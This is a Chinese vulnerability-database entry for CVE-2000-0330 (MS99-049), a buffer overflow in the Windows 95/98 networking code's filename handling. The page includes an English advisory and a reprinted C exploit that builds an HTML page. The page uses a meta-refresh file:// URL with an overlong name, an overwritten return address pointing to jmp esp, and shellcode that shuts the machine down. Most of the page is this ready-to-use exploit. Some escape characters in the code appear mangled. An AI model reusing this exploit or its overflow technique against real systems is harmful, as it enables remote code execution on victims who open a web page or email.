Windows 95和Windows 98网络工作软件”File Access URL”漏洞-安全小百科

Windows 95和Windows 98网络工作软件”File Access URL”漏洞

漏洞ID	1105605	漏洞类型	未知
发布时间	1999-11-09	更新时间	2005-10-12
CVE编号	CVE-2000-0330	CNNVD-ID	CNNVD-199911-046
漏洞平台	Windows	CVSS评分	7.6

|漏洞来源

https://www.exploit-db.com/exploits/19608
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-199911-046

|漏洞详情

Windows95和Windows98的网络工作软件存在漏洞。远程攻击者可以通过一个长文件名字符串执行指令，也称为”FileAccessURL”漏洞，。

|漏洞EXP

source: http://www.securityfocus.com/bid/779/info
 
There is a overflowable buffer in the networking code for Windows 95 and 98 (all versions). The buffer is in the part of the code that handles filenames. By specifying an exceptionally long filename, an attacker can cause the machine to crash or execute arbitrary code. This vulnerability could be exploited remotely by including a hostile UNC or file:// URL in a web page or HTML email. The attack would occur when the page was loaded in a browser or the email was opened (including opening the email in a preview pane.) 

/*=========================================================================
   Microsoft IE5 for Windows98 exploit
   The Shadow Penguin Security (http://shadowpenguin.backsection.net)
   Written by UNYUN ([email protected])
  =========================================================================
*/

#include    <stdio.h>
#include    <windows.h>

#define     MAXBUF          1000
#define     RETADR          53

/*
    jmp esp (FF E4) code is stored in this area.
    You must change this address for non-Japanese Windows98
*/
#define     EIP             0xbfb75a35 
                                         
unsigned char   exploit_code[200]={
0x43,0x43,0x43,0x43,0x43,0x53,0x53,0x53,
0xB8,0x2D,0x23,0xF5,0xBF,0x48,0x50,0xC3,
0x00
};

main(int argc,char *argv[])
{
    FILE                    *fp;
    unsigned int            ip;
    unsigned char           buf[MAXBUF];

    if (argc<2){
        printf("usage %s output_htmlfilen",argv[0]);
        exit(1);
    }
    if ((fp=fopen(argv[1],"wb"))==NULL) return FALSE;   
    fprintf(fp,"<META HTTP-EQUIV="Refresh" CONTENT="0;URL=file://test/");
    
    memset(buf,0x41,MAXBUF);
    ip=EIP;
    buf[RETADR-1]=0x7f;
    buf[RETADR  ]=ip&0xff;
    buf[RETADR+1]=(ip>>8)&0xff;
    buf[RETADR+2]=(ip>>16)&0xff;
    buf[RETADR+3]=( ip>>24)&0xff;
    memcpy(buf+80,exploit_code,strlen(exploit_code));
    buf[MAXBUF]=0;
    fprintf(fp,"%s/">n<HTML><B>",buf);
    fprintf(fp,"10 seconds later, this machine will be shut down.</B><BR><BR>");
    fprintf(fp,"If you are using IE5 for Japanese Windows98, ");
    fprintf(fp,"maybe, the exploit code which shuts down your machine will be executed.<BR>");
    fprintf(fp,"</HTML>n");
    fclose(fp);
    printf("%s created.n",argv[1]);
    return FALSE;
}

|参考资料

来源:MS
名称:MS99-049
链接:http://www.microsoft.com/technet/security/bulletin/ms99-049.asp

相关推荐: PHP-Nuke MS-Analysis Module HTTP Referrer Field SQL Injection Vulnerability

PHP-Nuke MS-Analysis Module HTTP Referrer Field SQL Injection Vulnerability 漏洞ID 1098743 漏洞类型 Input Validation Error 发布时间 2004-03-…

文章版权归作者所有，未经允许请勿转载。

THE END